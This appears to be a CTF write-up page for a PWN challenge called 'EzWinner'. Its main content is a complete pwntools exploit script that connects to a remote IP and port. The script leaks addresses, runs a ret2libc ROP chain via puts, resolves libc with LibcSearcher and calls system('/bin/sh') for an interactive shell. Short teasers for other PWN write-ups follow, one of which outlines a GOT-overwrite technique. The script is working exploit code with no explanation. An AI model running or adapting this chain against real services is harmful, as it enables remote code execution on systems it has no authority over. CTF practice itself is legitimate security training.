from pwn import *
from LibcSearcher import *
host = '49.232.142.230'
port = 14187
p = remote(host, port)
elf = ELF("./pwn")
rop = ROP(elf)
p.recvuntil('wisely: ')
win = int(p.recv(14), 16)
success('win = %#x', win)
main_addr = win - 0x128E + elf.sym['main']
puts_plt = win - 0x128E + elf.plt['puts']
puts_got = win - 0x128E + elf.got['puts']
rdi_addr = win - 0x128E + rop.find_gadget(['pop rdi','ret']).address
ret_addr = win - 0x128E + rop.find_gadget(['ret']).address
payload = b'a'*(0x40 + 0x8) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload)
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
success("puts ---> %#x", puts)
libc = LibcSearcher('puts', puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
payload2 = b'a'*(0x40 + 0x8) + p64(ret_addr) + p64(rdi_addr) + p64(binsh) + p64(system)
p.sendline(payload2)
p.interactive()
EzWinner
1000x_ 2025-10-12 16:15:21 77 0 返回题目详情


作者:1000x_
7
提交0
收入相关WriteUP
-
Format.INI
1.用file查看文件类型:64位ELFnostripped2.checksec查看文件开启保护:GOT可劫持非PIE3.IDA分析文件:prinf格式化漏洞4.分析代码,程序调用了system,printf之后调用了free。查看freegot表的内容为0x401036与systemplt的地址0x401060就差最后一个字节。那么想法修改freegot的内容为system的plt。而free的...
- PWN
- 2年前
-
勇闯迷宫-过三关 (陕西省大学生)
这题如题面所说分为三个部分,难度不高,第一部分考栈溢出,第二部分有点简单的逆向,第三部分考了一点fastbinattack,作为复习基础知识刚刚好拿到程序,首先做些基本检查:PartialRELRO,有Canary和NX,没有PIE。提供了libc(2.23)。got表里函数挺多,特别是看到了malloc和free,可能要用到堆。全局变量和main基本都保留了符号表,其他函数大多没有。第一部分直接...
- PWN
- 2年前
-
[NUAACTF-2017]hello_pwn
***收费WriteUP请购买后查看,VIP用户可免费查看***
- PWN
- 1年前
-
No Way Out的writeup
***收费WriteUP请购买后查看,VIP用户可免费查看***
- PWN
- 1年前
-
Message Board的writeup
***收费WriteUP请购买后查看,VIP用户可免费查看***
- PWN
- 1年前